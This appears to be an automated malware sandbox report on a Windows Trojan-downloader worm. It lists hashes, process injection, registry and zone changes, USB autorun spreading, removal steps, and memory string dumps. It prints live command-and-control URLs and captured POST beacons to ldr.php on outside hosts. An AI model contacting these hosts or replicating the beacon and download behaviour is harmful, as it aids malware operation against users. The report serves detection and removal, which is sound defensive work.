Susp_Dropper (Kaspersky), Gen:Variant.Kazy.299377 (B) (Emsisoft), Gen:Variant.Kazy.299377 (AdAware), Trojan-Downloader.Win32.Moure.FD, Trojan.Win32.Swrort.3.FD, GenericAutorunWorm.YR (Lavasoft MAS)Behaviour: Trojan-Downloader, Trojan, Worm, WormAutorun
The description has been automatically generated by Lavasoft Malware Analysis System and it may contain incomplete or inaccurate information.
Summary
MD5: a477155001f2ac6d629e0f32dd770c61
SHA1: 274c375803c314ba49d2bf262662c393abad64ea
SHA256: d4cce1762141b1f323abb697c9e2aee1e5522d4aff47a5b16976ea4cef7b0ccb
SSDeep: 3072:4tI09c0hZrMhSKVzP0zwj84kWmLa/J1/XzDqpOlKv3lJRScIfGUg9RHj:QI09c ySK90zwjyZSJFjDqWq3lJnzX
Size: 214016 bytes
File type: EXE
Platform: WIN32
Entropy: Packed
PEID: UPolyXv05_v6
Company: no certificate found
Created at: 2006-01-15 01:20:17
Analyzed on: WindowsXP SP3 32-bit
Summary: Trojan-Downloader. Trojan program, which downloads files from the Internet without user's notice and executes them.
Dynamic Analysis
Payload
Behaviour | Description |
---|---|
WormAutorun | A worm can spread via removable drives. It writes its executable and creates "autorun.inf" scripts on all removable drives. The autorun script will execute the Trojan's file once a user opens a drive's folder in Windows Explorer. |
Process activity
The Trojan creates the following process(es):
%original file name%.exe:1932
%original file name%.exe:57364
The Trojan injects its code into the following process(es):
wuauclt.exe:57396
Mutexes
The following mutexes were created/opened:No objects were found.
File activity
The process %original file name%.exe:57364 makes changes in the file system.
The Trojan creates and/or writes to the following file(s):
%Documents and Settings%\%current user%\Local Settings\Temp\01.tmp (1281 bytes)
%Documents and Settings%\%current user%\Local Settings\Temp\_install_\msiexec.exe (82 bytes)
The Trojan deletes the following file(s):
%Documents and Settings%\%current user%\Local Settings\Temp\01.tmp (0 bytes)
Registry activity
The process %original file name%.exe:1932 makes changes in the system registry.
The Trojan creates and/or sets the following values in system registry:
[HKLM\SOFTWARE\Microsoft\Cryptography\RNG]
"Seed" = "4E 6B EB CD 59 FA A1 0E EE F4 E3 C6 BE 6E A0 78"
The process %original file name%.exe:57364 makes changes in the system registry.
The Trojan creates and/or sets the following values in system registry:
[HKLM\SOFTWARE\Microsoft\Cryptography\RNG]
"Seed" = "EE 3B 4E 53 B7 15 34 CD C3 3A 1F 1C C8 57 19 FA"
[HKCU\Software\Microsoft\Windows\CurrentVersion\Explorer\MountPoints2\{c155cd73-744b-11e2-8294-806d6172696f}]
"BaseClass" = "Drive"
[HKCU\Software\Microsoft\Windows\CurrentVersion\Explorer\Shell Folders]
"Cookies" = "%Documents and Settings%\%current user%\Cookies"
[HKCU\Software\Microsoft\Windows\CurrentVersion\Explorer\MountPoints2\{c155cd72-744b-11e2-8294-806d6172696f}]
"BaseClass" = "Drive"
[HKCU\Software\Microsoft\Windows\CurrentVersion\Explorer\MountPoints2\{c155cd75-744b-11e2-8294-806d6172696f}]
"BaseClass" = "Drive"
[HKCU\Software]
"ImageBase" = "7A 69 3F CF B0 CF CF CF B3 CF CF CF CC CC CF CF"
[HKCU\Software\Microsoft\Windows\CurrentVersion\Explorer\MountPoints2\{b98117e8-75ca-11e2-81b2-000c293708fb}]
"BaseClass" = "Drive"
[HKCU\Software\Microsoft\Windows\CurrentVersion\Explorer\Shell Folders]
"Cache" = "%Documents and Settings%\%current user%\Local Settings\Temporary Internet Files"
[HKCU\Software\Microsoft\Windows\ShellNoRoam\MUICache\C:\DOCUME~1\"%CurrentUserName%"\LOCALS~1\Temp\_install_]
"msiexec.exe" = "msiexec"
[HKLM\SOFTWARE\Microsoft]
"0000000B" = "50 4B 03 04 00 EA 00 00 30 71 00 00 BC FC C2 2B"
The Trojan modifies IE settings for security zones to map all web-nodes that bypassing the proxy to the Intranet Zone:
[HKCU\Software\Microsoft\Windows\CurrentVersion\Internet Settings\ZoneMap]
"ProxyBypass" = "1"
The Trojan modifies IE settings for security zones to map all urls to the Intranet Zone:
"IntranetName" = "1"
The Trojan modifies IE settings for security zones to map all local web-nodes with no dots which do not refer to any zone to the Intranet Zone:
"UNCAsIntranet" = "1"
Dropped PE files
MD5 | File path |
---|---|
7ed265b1caa48a7eeb2246bb365778d8 | c:\Documents and Settings\All Users\Local Settings\Temp\ccakkk.exe |
7ed265b1caa48a7eeb2246bb365778d8 | c:\Documents and Settings\"%CurrentUserName%"\Local Settings\Temp\_install_\msiexec.exe |
HOSTS file anomalies
No changes have been detected.
Rootkit activity
No anomalies have been detected.
Propagation
A worm can spread via removable drives. It writes its executable and creates "autorun.inf" scripts on all removable drives. The autorun script will execute the Trojan's file once a user opens a drive's folder in Windows Explorer.
Removals
Remove it with Ad-Aware
- Click (here) to download and install Ad-Aware Free Antivirus.
- Update the definition files.
- Run a full scan of your computer.
Manual removal*
- Terminate malicious process(es) (How to End a Process With the Task Manager):
%original file name%.exe:1932
%original file name%.exe:57364 - Delete the original Trojan file.
- Delete or disinfect the following files created/modified by the Trojan:
%Documents and Settings%\%current user%\Local Settings\Temp\01.tmp (1281 bytes)
%Documents and Settings%\%current user%\Local Settings\Temp\_install_\msiexec.exe (82 bytes) - Clean the Temporary Internet Files folder, which may contain infected files (How to clean Temporary Internet Files folder).
- Find and delete all copies of the worm's file together with "autorun.inf" scripts on removable drives.
- Reboot the computer.
Static Analysis
VersionInfo
Company Name: Hause
Product Name: Drenzag
Product Version: 5, 1, 8, 4
Legal Copyright: Copyright Radume(c) 2013
Legal Trademarks: Gioka(c)
Original Filename: Koda
Internal Name: Zdravka
File Version: 2, 1, 3, 2
File Description: Darko
Comments: Preshin
Language: Language Neutral
Company Name: HauseProduct Name: DrenzagProduct Version: 5, 1, 8, 4Legal Copyright: Copyright Radume(c) 2013Legal Trademarks: Gioka(c)Original Filename: KodaInternal Name: ZdravkaFile Version: 2, 1, 3, 2File Description: DarkoComments: PreshinLanguage: Language Neutral
PE Sections
Name | Virtual Address | Virtual Size | Raw Size | Entropy | Section MD5 |
---|---|---|---|---|---|
UPX0 | 4096 | 1495040 | 0 | 0 | d41d8cd98f00b204e9800998ecf8427e |
UPX1 | 1499136 | 188416 | 188416 | 5.34055 | 31a279faf70559e66e2d1cff233a7c31 |
.rsrc | 1687552 | 53248 | 24576 | 2.46835 | 8c3433b46dd3b8e3083c36886b35692f |
Dropped from:
Downloaded by:
Similar by SSDeep:
Similar by Lavasoft Polymorphic Checker:
Total found: 3
e4f4ae24234743e3cf9b8483a06ad2bd
f58e3f420ef28e25336995d7b69eb34d
160fcf3a2f1b145e000a7737e37213cd
Network Activity
URLs
URL | IP |
---|---|
hxxp://a.sobea.in/gvlbqgvlbqgvlbqgvlbjrhpynvemgsfj | 50.116.32.177 |
hxxp://hzmksreiuojy.in/ldr.php | 195.22.26.231 |
hxxp://hzmksreiuojy.biz/ldr.php | 69.195.129.70 |
hxxp://hzmksreiuojy.ru/ldr.php | 195.22.26.231 |
www.update.microsoft.com | 134.170.51.189 |
IDS verdicts (Suricata alerts: Emerging Threats ET ruleset)
Traffic
POST /ldr.php HTTP/1.1
Host: hzmksreiuojy.ru
User-Agent: Mozilla/4.0
Content-Type: application/x-www-form-urlencoded
Content-Length: 84
Connection: close
upqchSE8slDLE Bgn4KGIwiLrX8zUN68T3yqvhQu2TqetQn3qIy7Q6bpTfDUtYIftZ33NB8PKwkg9mY3qw==
HTTP/1.1 200 OK
Server: nginx
Date: Thu, 31 Jul 2014 03:51:01 GMT
Content-Type: text/html
Transfer-Encoding: chunked
Connection: close
Set-Cookie: btst=2311f106aa58d1816026613de492aebc|193.138.244.231|1406778661|1406778661|0|1|0
Set-Cookie: snkz=193.138.244.231
0..
POST /ldr.php HTTP/1.1
Host: hzmksreiuojy.biz
User-Agent: Mozilla/4.0
Content-Type: application/x-www-form-urlencoded
Content-Length: 84
Connection: close
upqchSE8slDLE Bgn4KGIwiLrX8zUN68T3yqvhQu2TqetQn3qIy7Q6bpTfDUtYIftZ33NB8PKwkg9mY3qw==
HTTP/1.1 200 OK
Server: nginx/1.6.0
Date: Thu, 31 Jul 2014 03:50:56 GMT
Content-Type: text/plain; charset=utf-8
Content-Length: 0
Connection: close
POST /ldr.php HTTP/1.1
Host: hzmksreiuojy.in
User-Agent: Mozilla/4.0
Content-Type: application/x-www-form-urlencoded
Content-Length: 84
Connection: close
upqchSE8slDLE Bgn4KGIwiLrX8zUN68T3yqvhQu2TqetQn3qIy7Q6bpTfDUtYIftZ33NB8PKwkg9mY3qw==
HTTP/1.1 200 OK
Server: nginx
Date: Thu, 31 Jul 2014 03:51:00 GMT
Content-Type: text/html
Transfer-Encoding: chunked
Connection: close
Set-Cookie: btst=dbafee70d8c4630d9acfa947251a2b65|193.138.244.231|1406778660|1406778660|0|1|0
Set-Cookie: snkz=193.138.244.231
0..
Map
The Trojan connects to the servers at the folowing location(s):
Strings from Dumps
wuauclt.exe_57396:
.text
.text
`.data
`.data
.rsrc
.rsrc
@.reloc
@.reloc
wuauclt.pdb
wuauclt.pdb
GetProcessHeap
GetProcessHeap
KERNEL32.dll
KERNEL32.dll
_wcmdln
_wcmdln
_amsg_exit
_amsg_exit
msvcrt.dll
msvcrt.dll
ntdll.dll
ntdll.dll
ole32.dll
ole32.dll
RegCloseKey
RegCloseKey
RegOpenKeyExW
RegOpenKeyExW
RegCreateKeyExW
RegCreateKeyExW
ADVAPI32.dll
ADVAPI32.dll
USER32.dll
USER32.dll
OLEAUT32.dll
OLEAUT32.dll
SHLWAPI.dll
SHLWAPI.dll
zcÁ
zcÁ
version="6.0.0.0"
version="6.0.0.0"
name="Microsoft.Windows.windowsupdate.wuauclt"
name="Microsoft.Windows.windowsupdate.wuauclt"
<windowsSettings></windowsSettings>
<windowsSettings></windowsSettings>
<dpiAware xmlns="http://schemas.microsoft.com/SMI/2005/WindowsSettings">true</dpiAware>
<dpiAware xmlns="http://schemas.microsoft.com/SMI/2005/WindowsSettings">true</dpiAware>
name="Microsoft.Windows.Common-Controls"
name="Microsoft.Windows.Common-Controls"
publicKeyToken="6595b64144ccf1df"
publicKeyToken="6595b64144ccf1df"
<requestedExecutionLevel><pre>wuaueng.dll</pre><pre>Error: 0xx. wuauclt handler: failed to spawn COM server</pre><pre>Error: 0xx. wuauclt handler: failed to load wuaueng</pre><pre>/ReportNow</pre><pre>/ShowWindowsUpdate</pre><pre>/CloseWindowsUpdate</pre><pre>wuauclt.exe failed to get proc address for UI export object with error %#lx</pre><pre>Failed to load %s with error %X</pre><pre>wucltui.dll</pre><pre>wucltux.dll</pre><pre>call RunAUClientUI on wucltui.dll/wucltux.dll</pre><pre>Ntdll.dll</pre><pre>WuSqm %ls session datapoint (id:%d) is incremented with dword %d.</pre><pre>wuauclt.exe is exiting with code 0xX</pre><pre>wuauclt.exe launched with command line %s</pre><pre>kernel32.dll</pre><pre>WUWeb</pre><pre>Report</pre><pre>7.6.7600.256</pre><pre>Global\WindowsUpdateTracingMutex</pre><pre>WindowsUpdate.log</pre><pre>SOFTWARE\Microsoft\Windows\CurrentVersion\WindowsUpdate\Trace</pre><pre>Windows</pre><pre>shell32.dll</pre><pre>%s: %s [</pre><pre>%s: %s</pre><pre>%s\%s</pre><pre>= Module: %s</pre><pre>= Module: <failed with %d></failed></pre><pre>= Process: %s</pre><pre>= Process: <failed with %d></failed></pre><pre>=========== Logging initialized (build: %s, tz: %s) ===========</pre><pre>wups2.dll</pre><pre>wups.dll</pre><pre>Software\Microsoft\Windows\CurrentVersion\WindowsUpdate\Setup\ServiceStartup\</pre><pre>%hs %ls page "%ls", hr=%X</pre><pre>Microsoft.WindowsUpdate</pre><pre>wupdmgr.exe</pre><pre>Failed to cocreate IShellWindows, error = 0xlX</pre><pre>Failed to obtain window doc for window %d, error = 0xlX</pre><pre>Failed to obtain folder view for window %d, error = 0xlX</pre><pre>Failed to obtain folder IPersist for window %d, error = 0xlX</pre><pre>Window %d is NOT a WU window</pre><pre>Done enumerating windows</pre><pre>Quit for window %d failed: 0xlX</pre><pre>Window %d is a WU window. Attempting to close</pre><pre>Failed to obtain class ID for window %d, error = 0xlX</pre><pre>Got NULL disp interface for window %d</pre><pre>Got %d instead of VT_DISPATCH for window %d</pre><pre>Failed to obtain IWebBrowserApp for window %d, error = 0xlX</pre><pre>Failed to enumerate window %d, error = 0xlX</pre><pre>Found %d explorer windows</pre><pre>Closing WU explorer windows</pre><pre>Software\Microsoft\Windows\CurrentVersion\WindowsUpdate\VolatileData</pre><pre>WUAppNotificationWindows</pre><pre>SOFTWARE\Microsoft\Windows\CurrentVersion\WindowsUpdate\Auto Update\RebootRequired</pre><pre>SOFTWARE\Microsoft\Windows\CurrentVersion\WindowsUpdate\Auto Update\RebootRequired\Mandatory</pre><pre>SOFTWARE\Microsoft\Windows\CurrentVersion\WindowsUpdate\Auto Update\PostRebootReporting</pre><pre>SOFTWARE\Microsoft\Windows\CurrentVersion\WindowsUpdate\Services\Pending\</pre><pre>%chdhd</pre><pre>hd-hd-hd%chd:hd:hd:hd</pre><pre>Windows Update</pre><pre>7.6.7600.256 (winmain_wtr_wsus3sp2(oobla).120602-1459)</pre><pre>wuauclt.exe</pre><pre>Windows</pre><pre>Operating System</pre><b>wuauclt.exe_57396_rwx_000A0000_00009000:</b><pre>.code</pre><pre>.import</pre><pre>NtDelayExecution</pre><pre>ntdll.dll</pre><pre>GetWindowsDirectoryW</pre><pre>kernel32.dll</pre><pre>software\microsoft\windows nt\currentversion\windows</pre><pre>software\microsoft\windows\currentversion\Policies\Explorer\Run</pre><pre>ccX.dat</pre><pre>http://8.8.8.8/xxxxxxxxx.php</pre><pre>http://hzmksreiuojy.in/ldr.php</pre><pre>http://hzmksreiuojy.ru/ldr.php</pre><pre>http://hzmksreiuojy.com/ldr.php</pre><pre>http://hzmksreiuojy.biz/ldr.php</pre><pre>http://hzmksreiuojy.nl/ldr.php</pre><pre>POST /%s HTTP/1.1</pre><pre>Host: %s</pre><pre>User-Agent: Mozilla/4.0</pre><pre>Content-Type: application/x-www-form-urlencoded</pre><pre>Content-Length: %d</pre><pre>GET /%s HTTP/1.0</pre><pre>www.update.microsoft.com</pre><pre>GetProcessHeap</pre><pre>ws2_32.dll</pre><pre>RegCloseKey</pre><pre>RegCreateKeyExA</pre><pre>RegOpenKeyExA</pre><pre>RegSetKeySecurity</pre><pre>advapi32.dll</pre><pre>user32.dll</pre><pre>dnsapi.dll</pre><pre>KERNEL32.DLL</pre><pre>\system32\wuauclt.exe</pre><pre>\syswow64\svchost.exe</pre><pre>4%userprofile%</pre><pre>%s\cc%s.%s</pre><pre>)X</pre><pre>x.exe</pre><b>wuauclt.exe_57396_rwx_003B0000_00005000:</b><pre>software\microsoft\windows nt\currentversion\windows</pre><pre>software\microsoft\windows\currentversion\Policies\Explorer\Run</pre><pre>ccX.dat</pre><pre>http://8.8.8.8/xxxxxxxxx.php</pre><pre>http://hzmksreiuojy.in/ldr.php</pre><pre>http://hzmksreiuojy.ru/ldr.php</pre><pre>http://hzmksreiuojy.com/ldr.php</pre><pre>http://hzmksreiuojy.biz/ldr.php</pre><pre>http://hzmksreiuojy.nl/ldr.php</pre><pre>POST /%s HTTP/1.1</pre><pre>Host: %s</pre><pre>User-Agent: Mozilla/4.0</pre><pre>Content-Type: application/x-www-form-urlencoded</pre><pre>Content-Length: %d</pre><pre>GET /%s HTTP/1.0</pre><pre>www.update.microsoft.com</pre><pre>NtDelayExecution</pre><pre>ntdll.dll</pre><pre>GetProcessHeap</pre><pre>kernel32.dll</pre><pre>ws2_32.dll</pre><pre>RegCloseKey</pre><pre>RegCreateKeyExA</pre><pre>RegOpenKeyExA</pre><pre>RegSetKeySecurity</pre><pre>advapi32.dll</pre><pre>user32.dll</pre><pre>dnsapi.dll</pre><pre>4%userprofile%</pre><pre>%s\cc%s.%s</pre><pre>)X</pre><pre>x.exe</pre><b>wuauclt.exe_57396_rwx_00400000_0000E000:</b><pre>.text</pre><pre>`.data</pre><pre>.rsrc</pre><pre>@.reloc</pre><pre>wuauclt.pdb</pre><pre>GetProcessHeap</pre><pre>KERNEL32.dll</pre><pre>_wcmdln</pre><pre>_amsg_exit</pre><pre>msvcrt.dll</pre><pre>ntdll.dll</pre><pre>ole32.dll</pre><pre>RegCloseKey</pre><pre>RegOpenKeyExW</pre><pre>RegCreateKeyExW</pre><pre>ADVAPI32.dll</pre><pre>USER32.dll</pre><pre>OLEAUT32.dll</pre><pre>SHLWAPI.dll</pre><pre>zcÁ</pre><pre>version="6.0.0.0"</pre><pre>name="Microsoft.Windows.windowsupdate.wuauclt"</pre><pre><windowsSettings></windowsSettings></pre><pre><dpiAware xmlns="http://schemas.microsoft.com/SMI/2005/WindowsSettings">true</dpiAware></pre><pre></pre><pre>name="Microsoft.Windows.Common-Controls"</pre><pre>publicKeyToken="6595b64144ccf1df"</pre><pre><requestedExecutionLevel><pre>wuaueng.dll</pre><pre>Error: 0xx. wuauclt handler: failed to spawn COM server</pre><pre>Error: 0xx. wuauclt handler: failed to load wuaueng</pre><pre>/ReportNow</pre><pre>/ShowWindowsUpdate</pre><pre>/CloseWindowsUpdate</pre><pre>wuauclt.exe failed to get proc address for UI export object with error %#lx</pre><pre>Failed to load %s with error %X</pre><pre>wucltui.dll</pre><pre>wucltux.dll</pre><pre>call RunAUClientUI on wucltui.dll/wucltux.dll</pre><pre>Ntdll.dll</pre><pre>WuSqm %ls session datapoint (id:%d) is incremented with dword %d.</pre><pre>wuauclt.exe is exiting with code 0xX</pre><pre>wuauclt.exe launched with command line %s</pre><pre>kernel32.dll</pre><pre>WUWeb</pre><pre>Report</pre><pre>7.6.7600.256</pre><pre>Global\WindowsUpdateTracingMutex</pre><pre>WindowsUpdate.log</pre><pre>SOFTWARE\Microsoft\Windows\CurrentVersion\WindowsUpdate\Trace</pre><pre>Windows</pre><pre>shell32.dll</pre><pre>%s: %s [</pre><pre>%s: %s</pre><pre>%s\%s</pre><pre>= Module: %s</pre><pre>= Module: <failed with %d></failed></pre><pre>= Process: %s</pre><pre>= Process: <failed with %d></failed></pre><pre>=========== Logging initialized (build: %s, tz: %s) ===========</pre><pre>wups2.dll</pre><pre>wups.dll</pre><pre>Software\Microsoft\Windows\CurrentVersion\WindowsUpdate\Setup\ServiceStartup\</pre><pre>%hs %ls page "%ls", hr=%X</pre><pre>Microsoft.WindowsUpdate</pre><pre>wupdmgr.exe</pre><pre>Failed to cocreate IShellWindows, error = 0xlX</pre><pre>Failed to obtain window doc for window %d, error = 0xlX</pre><pre>Failed to obtain folder view for window %d, error = 0xlX</pre><pre>Failed to obtain folder IPersist for window %d, error = 0xlX</pre><pre>Window %d is NOT a WU window</pre><pre>Done enumerating windows</pre><pre>Quit for window %d failed: 0xlX</pre><pre>Window %d is a WU window. Attempting to close</pre><pre>Failed to obtain class ID for window %d, error = 0xlX</pre><pre>Got NULL disp interface for window %d</pre><pre>Got %d instead of VT_DISPATCH for window %d</pre><pre>Failed to obtain IWebBrowserApp for window %d, error = 0xlX</pre><pre>Failed to enumerate window %d, error = 0xlX</pre><pre>Found %d explorer windows</pre><pre>Closing WU explorer windows</pre><pre>Software\Microsoft\Windows\CurrentVersion\WindowsUpdate\VolatileData</pre><pre>WUAppNotificationWindows</pre><pre>SOFTWARE\Microsoft\Windows\CurrentVersion\WindowsUpdate\Auto Update\RebootRequired</pre><pre>SOFTWARE\Microsoft\Windows\CurrentVersion\WindowsUpdate\Auto Update\RebootRequired\Mandatory</pre><pre>SOFTWARE\Microsoft\Windows\CurrentVersion\WindowsUpdate\Auto Update\PostRebootReporting</pre><pre>SOFTWARE\Microsoft\Windows\CurrentVersion\WindowsUpdate\Services\Pending\</pre><pre>%chdhd</pre><pre>hd-hd-hd%chd:hd:hd:hd</pre><pre>Windows Update</pre><pre>7.6.7600.256 (winmain_wtr_wsus3sp2(oobla).120602-1459)</pre><pre>wuauclt.exe</pre><pre>Windows</pre><pre>Operating System</pre><b>wuauclt.exe_57396_rwx_00900000_00013000:</b><pre>.text</pre><pre>`.rdata</pre><pre>@.data</pre><pre>.rsrc</pre><pre>@.reloc</pre><pre>GetProcessWindowStation</pre><pre>T:\ldr\CUSTOM\local\Worm65.DLL.PnP\Release\Worm65.DLL.pdb</pre><pre>URLDownloadToFileW</pre><pre>urlmon.dll</pre><pre>KERNEL32.dll</pre><pre>keybd_event</pre><pre>USER32.dll</pre><pre>RegOpenKeyExW</pre><pre>RegCloseKey</pre><pre>ADVAPI32.dll</pre><pre>ole32.dll</pre><pre>GetCPInfo</pre><pre>Worm65.DLL.dll</pre><pre>[.ShellClassInfo]</pre><pre>IconResource=%systemroot%\system32\SHELL32.dll,7</pre><pre>IconFile=%SystemRoot%\system32\SHELL32.dll</pre><pre>%System%\wuauclt.exe</pre><pre><requestedExecutionLevel level="asInvoker" uiAccess="false"></requestedExecutionLevel></pre><pre>nKERNEL32.DLL</pre><pre>mscoree.dll</pre><pre>- Attempt to initialize the CRT more than once.</pre><pre>- CRT not initialized</pre><pre>- floating point support not loaded</pre><pre>WUSER32.DLL</pre><pre>http://a.sobea.in/</pre><pre>http://b.sobea.in/</pre><pre>http://c.sobea.in/</pre><pre>Software\Microsoft\Windows\CurrentVersion\Explorer\Advanced</pre><pre>%s\%s</pre><pre>%s.exe</pre><pre>Thumbs.db</pre><pre>desktop.ini</pre><pre>autorun.inf</pre><pre>Wkernel32.dll</pre><pre>%s\desktop.ini</pre><pre>%s\_W%s.init</pre><pre>%s\Thumbs.db</pre><pre>_W%s.init,krnl %s %s</pre><pre>%s\Removable Disk (%dGB).lnk</pre><pre>shell32.dll</pre><pre>%s\%s (%dGB).lnk</pre><pre>%sautorun.inf</pre></requestedExecutionLevel></pre></requestedExecutionLevel>